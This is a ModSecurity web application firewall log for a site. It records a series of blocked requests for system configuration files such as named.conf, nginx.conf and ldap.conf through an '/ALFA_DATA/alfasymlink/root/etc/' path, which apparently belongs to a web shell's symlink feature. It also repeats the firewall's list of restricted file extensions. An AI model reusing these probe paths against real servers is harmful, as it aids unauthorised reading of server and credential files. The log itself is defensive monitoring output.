[Sun Oct 25 14:29:42.157716 2026] [security2:error] [pid 2880766:tid 2880766] [client 76.135.135.39:64889] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/nfs.conf"] [unique_id "at5KlkqRyDR58ONJ8xcK-AAAAAs"]
[Sun Oct 25 14:29:42.157977 2026] [security2:error] [pid 2880766:tid 2880766] [client 76.135.135.39:64889] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/nfs.conf"] [unique_id "at5KlkqRyDR58ONJ8xcK-AAAAAs"]
[Sun Oct 25 14:29:42.159400 2026] [security2:error] [pid 2879798:tid 2879798] [client 76.135.135.39:64888] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/named.conf"] [unique_id "at5KloptOg7YDpX4xSOWwwAAABA"]
[Sun Oct 25 14:29:42.159642 2026] [security2:error] [pid 2879798:tid 2879798] [client 76.135.135.39:64888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/named.conf"] [unique_id "at5KloptOg7YDpX4xSOWwwAAABA"]
[Sun Oct 25 14:29:42.159865 2026] [security2:error] [pid 2879798:tid 2879798] [client 76.135.135.39:64888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/named.conf"] [unique_id "at5KloptOg7YDpX4xSOWwwAAABA"]
[Sun Oct 25 14:29:42.173359 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:64917] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/nginx/fastcgi.conf"] [unique_id "at5Klr6D6j04LiS6yScWQwAAAAI"]
[Sun Oct 25 14:29:42.173607 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:64917] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/nginx/fastcgi.conf"] [unique_id "at5Klr6D6j04LiS6yScWQwAAAAI"]
[Sun Oct 25 14:29:42.173848 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:64917] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/nginx/fastcgi.conf"] [unique_id "at5Klr6D6j04LiS6yScWQwAAAAI"]
[Sun Oct 25 14:29:42.190398 2026] [security2:error] [pid 2880767:tid 2880767] [client 76.135.135.39:64915] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/nfsmount.conf"] [unique_id "at5Kli-CzQxJ5MlF2DkrxgAAAA0"]
[Sun Oct 25 14:29:42.190637 2026] [security2:error] [pid 2880767:tid 2880767] [client 76.135.135.39:64915] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/nfsmount.conf"] [unique_id "at5Kli-CzQxJ5MlF2DkrxgAAAA0"]
[Sun Oct 25 14:29:42.190880 2026] [security2:error] [pid 2880767:tid 2880767] [client 76.135.135.39:64915] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/nfsmount.conf"] [unique_id "at5Kli-CzQxJ5MlF2DkrxgAAAA0"]
[Sun Oct 25 14:29:42.193010 2026] [security2:error] [pid 2880750:tid 2880750] [client 76.135.135.39:64929] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/nscd.conf"] [unique_id "at5KltId4uiAK8m2gJn9LgAAAAQ"]
[Sun Oct 25 14:29:42.193226 2026] [security2:error] [pid 2880750:tid 2880750] [client 76.135.135.39:64929] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/nscd.conf"] [unique_id "at5KltId4uiAK8m2gJn9LgAAAAQ"]
[Sun Oct 25 14:29:42.193475 2026] [security2:error] [pid 2880750:tid 2880750] [client 76.135.135.39:64929] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/nscd.conf"] [unique_id "at5KltId4uiAK8m2gJn9LgAAAAQ"]
[Sun Oct 25 14:29:42.212306 2026] [security2:error] [pid 2879837:tid 2879837] [client 76.135.135.39:64930] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/nsswitch.conf"] [unique_id "at5Klr3kuBsxLRbAfYmongAAAA4"]
[Sun Oct 25 14:29:42.212580 2026] [security2:error] [pid 2879837:tid 2879837] [client 76.135.135.39:64930] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/nsswitch.conf"] [unique_id "at5Klr3kuBsxLRbAfYmongAAAA4"]
[Sun Oct 25 14:29:42.212809 2026] [security2:error] [pid 2879837:tid 2879837] [client 76.135.135.39:64930] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/nsswitch.conf"] [unique_id "at5Klr3kuBsxLRbAfYmongAAAA4"]
[Sun Oct 25 14:29:42.223528 2026] [security2:error] [pid 2880754:tid 2880754] [client 76.135.135.39:64926] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/nginx/nginx.conf"] [unique_id "at5Klgl_YuTmdn3pCPOXXAAAAAk"]
[Sun Oct 25 14:29:42.223737 2026] [security2:error] [pid 2880754:tid 2880754] [client 76.135.135.39:64926] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/nginx/nginx.conf"] [unique_id "at5Klgl_YuTmdn3pCPOXXAAAAAk"]
[Sun Oct 25 14:29:42.223998 2026] [security2:error] [pid 2880754:tid 2880754] [client 76.135.135.39:64926] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/nginx/nginx.conf"] [unique_id "at5Klgl_YuTmdn3pCPOXXAAAAAk"]
[Sun Oct 25 14:29:42.297741 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:64933] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/openldap/ldap.conf"] [unique_id "at5KlrmAKu18kw3DYL-PPwAAAA8"]
[Sun Oct 25 14:29:42.298023 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:64933] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/openldap/ldap.conf"] [unique_id "at5KlrmAKu18kw3DYL-PPwAAAA8"]
[Sun Oct 25 14:29:42.298256 2026] [security2:error] [pid 2879945:tid 2879945] [client 76.135.135.39:64933] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/openldap/ldap.conf"] [unique_id "at5KlrmAKu18kw3DYL-PPwAAAA8"]
[Sun Oct 25 14:29:42.469131 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:64934] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/pki/ca-trust/ca-legacy.conf"] [unique_id "at5KlkYY36dVli09oOhVbwAAAAw"]
[Sun Oct 25 14:29:42.469362 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:64934] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/pki/ca-trust/ca-legacy.conf"] [unique_id "at5KlkYY36dVli09oOhVbwAAAAw"]
[Sun Oct 25 14:29:42.469622 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:64934] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/pki/ca-trust/ca-legacy.conf"] [unique_id "at5KlkYY36dVli09oOhVbwAAAAw"]
[Sun Oct 25 14:29:42.471115 2026] [security2:error] [pid 2880753:tid 2880753] [client 76.135.135.39:64935] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/pdns/pdns.conf"] [unique_id "at5KluKLKrCYLMnXfck7hAAAAAg"]
[Sun Oct 25 14:29:42.471302 2026] [security2:error] [pid 2880753:tid 2880753] [client 76.135.135.39:64935] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/pdns/pdns.conf"] [unique_id "at5KluKLKrCYLMnXfck7hAAAAAg"]
[Sun Oct 25 14:29:42.471543 2026] [security2:error] [pid 2880753:tid 2880753] [client 76.135.135.39:64935] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/pdns/pdns.conf"] [unique_id "at5KluKLKrCYLMnXfck7hAAAAAg"]
[Sun Oct 25 14:29:42.472851 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:53083] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/host.conf"] [unique_id "at5KlmT7SK5esjpOWSjqwAAAABY"]
[Sun Oct 25 14:29:42.473046 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:53083] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/host.conf"] [unique_id "at5KlmT7SK5esjpOWSjqwAAAABY"]
[Sun Oct 25 14:29:42.473264 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:53083] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/host.conf"] [unique_id "at5KlmT7SK5esjpOWSjqwAAAABY"]
